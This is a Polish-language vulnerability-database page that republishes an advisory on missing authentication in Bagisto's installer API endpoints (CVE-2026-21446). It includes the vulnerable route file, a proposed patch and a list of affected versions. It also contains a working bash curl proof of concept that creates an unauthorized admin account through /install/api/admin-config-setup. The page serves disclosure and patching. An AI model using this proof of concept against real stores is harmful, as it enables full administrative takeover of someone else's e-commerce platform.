Wysoka

Bagisto Missing Authentication on Installer API Endpoints

  • Ujawniono: 02.01.2026
  • Aktualizacja: 11.10.2026 10:22

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

php
<?php

use Illuminate\\Session\\Middleware\\StartSession;  
use Illuminate\\Support\\Facades\\Route;  
use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\_locale'\])-\>group(function () {  
    Route::controller(InstallerController::class)-\>group(function () {  
        Route::get('install', 'index')-\>name('installer.index');

        Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () {  
            Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup');  
            Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib');  
            Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib');  
            Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib');  
            Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib');  
            Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib');  
        });  
    });  
});

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

  • Create admin accounts
  • Modify application configuration
  • Potentially overwrite existing data

the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

  1. The Ib installer UI at http://localhost:8000/install has client-side protections
  2. However, the API endpoints are directly exploitable:
    • The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client
    • No CSRF token, session, or authentication is required
    • The Ib UI workflow is completely bypassed

Proof of Concept

bash
#!/bin/bash
# PoC: Create admin account without authentication


TARGET="http://localhost:8000"


# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" \
    -H "Content-Type: application/json" \
    -d '{
        "admin_name": "Attacker",
        "admin_email": "attacker@evil.com",
        "admin_password": "HackedPassword123"
    }'


echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

php
// In InstallerController.php or a new middleware


public function __construct()
{
    // Check if application is already installed
    if (file_exists(base_path('.env')) &&
        config('app.key') &&
        \Schema::hasTable('admins') &&
        \DB::table('admins')->count() > 0) {
        abort(404, 'Application already installed');
    }
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer bagisto/bagisto >= 2.3.0, < 2.3.10 2.3.10

Odnośniki

Ocena CVSS 9.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-306
Platforma
Composer
Paczka
bagisto/bagisto
Ujawniono
02.01.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-6h7w-v2xr-mqvw - CC BY 4.0

Historia podatności: bagisto/bagisto

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (20) w archiwum
Wszystkich wpisów
20
Pierwsza → ostatnia
11.2019 04.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 8
  • Średnia 9
  • Niska 2

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 0
  3. 2021: 0
  4. 2022: 1
  5. 2023: 0
  6. 2024: 4
  7. 2025: 6
  8. 2026: 8
Istotność:
  1. Wysoka · 7.1 CVE-2026-21447 < 2.3.10 2.3.10
  2. Wysoka CVE-2026-21450 < 2.3.10 2.3.10
  3. Bagisto Missing Authentication on Installer API Endpoints ten wpis
    Wysoka · 9.8 CVE-2026-21446 >= 2.3.0, < 2.3.10 2.3.10
  4. Krytyczna · 9.0 CVE-2025-62417 < 2.3.8 2.3.8
  5. Wysoka · 8.3 CVE-2025-60880 >= 2.3.6, < 2.3.7 2.3.7
  6. Wysoka · 8.8 CVE-2023-36237 < 1.3.2 1.3.2
  7. Wysoka · 8.8 CVE-2019-14933 < 0.1.5 0.1.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.